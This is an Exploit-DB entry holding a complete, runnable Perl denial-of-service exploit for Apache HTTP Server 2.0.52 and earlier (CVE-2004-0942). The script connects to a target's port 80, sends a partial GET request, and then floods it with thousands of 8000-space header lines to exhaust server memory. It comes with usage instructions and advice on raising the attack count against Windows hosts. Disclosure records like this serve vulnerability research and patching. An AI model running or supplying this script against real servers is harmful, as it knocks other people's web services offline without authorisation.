Apache <= 2.0.52 HTTP GET request Denial of Service Exploit

2005-03-04T00:00:00
ID EDB-ID:855
Type exploitdb
Reporter GreenwooD
Modified 2005-03-04T00:00:00

Description

Apache <= 2.0.52 HTTP GET request Denial of Service Exploit. CVE-2004-0942. Dos exploits for multiple platform

                                        
                                            #!/usr/bin/perl

# Based on -&gt; 
#             apache-squ1rt.c exploit.
#
#             Original credit goes to Chintan Trivedi on the
#             FullDisclosure mailing list:
#             http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html
#
# More info -&gt;
#   
#             http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942
# Added -&gt;
#             Added future with we can exploit Apache web servers on windows system. For it you should experiment
#             with [trys] parameter of this code.
#             
#             By default parameter trys = 8000, for DoS Apache web servers on windows system try to 
#             increase this parameter.
#
#             For example. In my system I have 256Mb of RAM. For DoS Apache web severs I run this exploit like this
#
#             C:\perl ap2.0.52_dos.pl 127.0.0.1 30000
#
#              &lt;+&gt; Prepare to start connect.
#              &lt;+&gt; Connected to 127.0.0.1
#              &lt;+&gt; Send of first part of devil header.
#              &lt;+&gt; Prepare to DoS with 10000 trys.
#              &lt;+&gt; Start DoS second part of devil header.
#              &lt;SOD&gt; |====================&gt; &lt;EOD&gt;
#              &lt;+&gt; Ok now target web server maybe DoSeD.
#
#
# Note -&gt;    
#           
#             If progresbar not response server mybe already DoSeD. Try to open web page hosted on this web servers.
#             And if you see "Eror 500" you are lucky man :)
#
# Warnings -&gt; 
#             This is POC code you can use only on you own servers. Writer don't response if you damadge you servers or
#             use it for attack, or others things.  
#
# Shit -&gt; 
#             My English now is bulls shit :( I try study it :)
#            

# Tested under Window 2000 SP4 with Apache 2.0.49 (Win)

# Grests fly to Chintan Trivedi NsT, RST, Void, Unlock and other underground world.

# Contact to me at greenwood3[AT]yandex[dot]ru

use IO::Socket;

if (@ARGV &lt;1)
  {
   print "\n ::: ---------------------------------------------- :::\n";
   print " ::: Another yet DoS exploit for Apache &lt;= 2.0.52   :::\n";
   print " ::: Usage:  ap2.0.52_dos.pl &lt;ip&gt; [trys]            :::\n";
   print " ::: Coded by GreenwooD from Network Security Team  :::\n";
   print " ::: ---------------------------------------------- :::\n";
   exit();
  }

print "\n &lt;+&gt; Prepare to start connect.\n";

$s = IO::Socket::INET-&gt;new(Proto=&gt;"tcp",
                            PeerAddr=&gt;$ARGV[0],
                            PeerPort=&gt;80,
                            Timeout=&gt;6
                            ) or die " &lt;-&gt; Target web server already DoSeD ??? or can't connect :(\n";
  $s-&gt;autoflush();

print " &lt;+&gt; Connected to $ARGV[0]\n";
print " &lt;+&gt; Send of first part of devil header.\n";    
  
  print $s "GET / HTTP/1.0\n";

$trys = 8000; # Default

if ($ARGV[1])
{
  $trys = $ARGV[1];
}

print " &lt;+&gt; Prepare to DoS with $trys trys.\n";
print " &lt;+&gt; Start DoS send second part of devil header.\n";    
print " &lt;SOD&gt; |";

$i=0;

 do {

     print $s (" " x 8000 . "\n"); 

   
      if ($i % 500 == 0)
        { 
         print "=";
        }  

     ++$i;

    } until ($i == $trys); 


print "&gt; &lt;EOD&gt;\n";

close($s);

print " &lt;+&gt; Ok now target web server maybe DoSeD.\n"; 

# milw0rm.com [2005-03-04]